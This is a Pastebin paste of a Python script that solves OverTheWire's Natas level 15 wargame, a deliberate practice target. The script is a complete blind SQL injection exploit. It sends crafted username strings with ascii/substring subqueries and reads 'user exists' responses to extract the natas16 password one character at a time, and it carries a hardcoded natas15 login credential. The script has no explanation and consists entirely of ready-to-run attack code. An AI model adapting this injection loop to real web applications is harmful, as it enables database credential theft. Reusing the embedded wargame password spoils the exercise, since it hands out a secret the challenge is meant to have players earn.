Advertisement
Guest User

Natas 15 (Script)

a guest
Mar 31st, 2018
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.69 KB | None | 0 0
  1. #! python3
  2.  
  3. #########################
  4. # ASCII TABLE
  5. # '0' -> 48, '9' -> 57
  6. # 'A' -> 65, 'Z' -> 90
  7. # 'a' -> 97, 'z' -> 122
  8. #########################
  9.  
  10. #############################
  11. # Imports
  12.  
  13. import os
  14. import sys
  15. import requests
  16. import re
  17.  
  18. #############################
  19. # Global Variables
  20.  
  21. bruteforced_password=""
  22. password_length=32
  23. current_password_character_index=1
  24. password_character_iterate=''
  25.  
  26. # 1 -> 0 to 9, 2 -> A to Z, 3 -> a to z
  27. current_range=1
  28.  
  29. # Result Strings
  30. result_string_true="This user exists."
  31. result_string_false="This user doesn't exist."
  32. result_string_error="Error in query."
  33.  
  34. http_session=""
  35. http_sql_injection_username_parameter_string=""
  36. http_request=""
  37. http_response=""
  38.  
  39.  
  40. #############################
  41. # Functions
  42.  
  43. # Function to set http string
  44. def set_http_string ( mode, character ):
  45. global http_sql_injection_username_parameter_string
  46.  
  47. # Mode 1 -> Equal, Mode 2 -> More or Equal, Mode 3 -> Less or Equal
  48. if ( mode == 1):
  49. http_sql_injection_username_parameter_string='natas16\" and ascii(substring((SELECT password from users where username=\"natas16\"),' + str(current_password_character_index) + ',1))=' + str(ord(character)) + ' and password like \"%'
  50. elif ( mode == 2):
  51. http_sql_injection_username_parameter_string='natas16\" and ascii(substring((SELECT password from users where username=\"natas16\"),' + str(current_password_character_index) + ',1))>=' + str(ord(character)) + ' and password like \"%'
  52. else:
  53. http_sql_injection_username_parameter_string='natas16\" and ascii(substring((SELECT password from users where username=\"natas16\"),' + str(current_password_character_index) + ',1))<=' + str(ord(character)) + ' and password like \"%'
  54.  
  55. return
  56.  
  57. # Function to Get Range
  58. # Return 1 for 0-9, 2 for A-Z, 3 for a-z, 4 for error
  59. def Get_Range ():
  60. global http_sql_injection_username_parameter_string
  61. global http_request
  62. global http_response
  63.  
  64. # Get the range, through less than or equals#
  65. # Check if character is within 0-9
  66. set_http_string(3, '9')
  67. http_request = http_session.post('http://natas15.natas.labs.overthewire.org/index.php', data = {'username' : http_sql_injection_username_parameter_string})
  68. http_response = str(http_request.text)
  69.  
  70. # If it is within 0-9
  71. if re.search(result_string_true ,http_response):
  72. return 1
  73. elif re.search(result_string_error,http_response):
  74. return 4
  75.  
  76. # Check if character is within A-Z
  77. set_http_string(3, 'Z')
  78. http_request = http_session.post('http://natas15.natas.labs.overthewire.org/index.php', data = {'username' : http_sql_injection_username_parameter_string})
  79. http_response = str(http_request.text)
  80.  
  81. # If it is within A-Z
  82. if re.search(result_string_true ,http_response):
  83. return 2
  84. elif re.search(result_string_error,http_response):
  85. return 4
  86.  
  87. # Check if character is within a-z
  88. set_http_string(3, 'z')
  89. http_request = http_session.post('http://natas15.natas.labs.overthewire.org/index.php', data = {'username' : http_sql_injection_username_parameter_string})
  90. http_response = str(http_request.text)
  91.  
  92. # If it is within a-z
  93. if re.search(result_string_true ,http_response):
  94. return 3
  95. elif re.search(result_string_error,http_response):
  96. return 4
  97.  
  98. return 0
  99.  
  100. # Function to Brute Force Password
  101. def BruteForcePassword ( BruteForcePassword_password_range ):
  102. BruteForcePassword_Password_Character=''
  103. # Range is 0-9
  104. if BruteForcePassword_password_range==1:
  105. for code in range(ord('0'), ord('9') + 1):
  106. if Check_HTTP_Character(chr(code))==0:
  107. BruteForcePassword_Password_Character = chr(code)
  108.  
  109. # Range is A-Z
  110. elif BruteForcePassword_password_range==2:
  111. for code in range(ord('A'), ord('Z') + 1):
  112. if Check_HTTP_Character(chr(code))==0:
  113. BruteForcePassword_Password_Character = chr(code)
  114.  
  115. # Range is a-z
  116. elif BruteForcePassword_password_range==3:
  117. for code in range(ord('a'), ord('z') + 1):
  118. if Check_HTTP_Character(chr(code))==0:
  119. BruteForcePassword_Password_Character = chr(code)
  120.  
  121. return BruteForcePassword_Password_Character
  122.  
  123. # Function to Check HTTP Character
  124. # [Returns] 0 -> Correct Character, 1 -> False Character, 2 -> Error in SQL Query
  125. def Check_HTTP_Character ( Check_HTTP_Character_character ):
  126. global http_sql_injection_username_parameter_string
  127. global http_request
  128. global http_response
  129.  
  130. set_http_string(1, Check_HTTP_Character_character)
  131. http_request = http_session.post('http://natas15.natas.labs.overthewire.org/index.php', data = {'username' : http_sql_injection_username_parameter_string})
  132. http_response = str(http_request.text)
  133.  
  134. if re.search(result_string_true,http_response):
  135. return 0
  136. elif re.search(result_string_false ,http_response):
  137. return 1
  138. else:
  139. print ('Error in SQL Query...')
  140. exit()
  141.  
  142.  
  143. ###############################
  144. # Main Function
  145.  
  146. http_session = requests.Session()
  147. http_session.auth=('natas15','AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J')
  148.  
  149. while (current_password_character_index<=32):
  150.  
  151. # Call Get Range Function, 0 -> This shouldnt be returned, 1 -> 0-9, 2 -> A-Z, 3 -> a-z, 4-> error in sql query
  152. current_range = Get_Range()
  153.  
  154. # Error Code 0
  155. if current_range==0:
  156. print ('Program should not return this...')
  157. break
  158. # Range is 0-9 or Range is A-Z or Range is a-z
  159. elif current_range==1 or current_range==2 or current_range==3:
  160. Password_Character = BruteForcePassword(current_range)
  161. bruteforced_password=bruteforced_password+Password_Character
  162. # Error in SQL Query
  163. elif current_range==4:
  164. print ('Error in SQL Query')
  165. break
  166.  
  167. print ('Loop Count: ' + str(current_password_character_index))
  168. print ('Current Brute Forced Password: ' + bruteforced_password)
  169.  
  170. current_password_character_index+=1
  171.  
  172. print ('Password for natas16 is ' + bruteforced_password)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement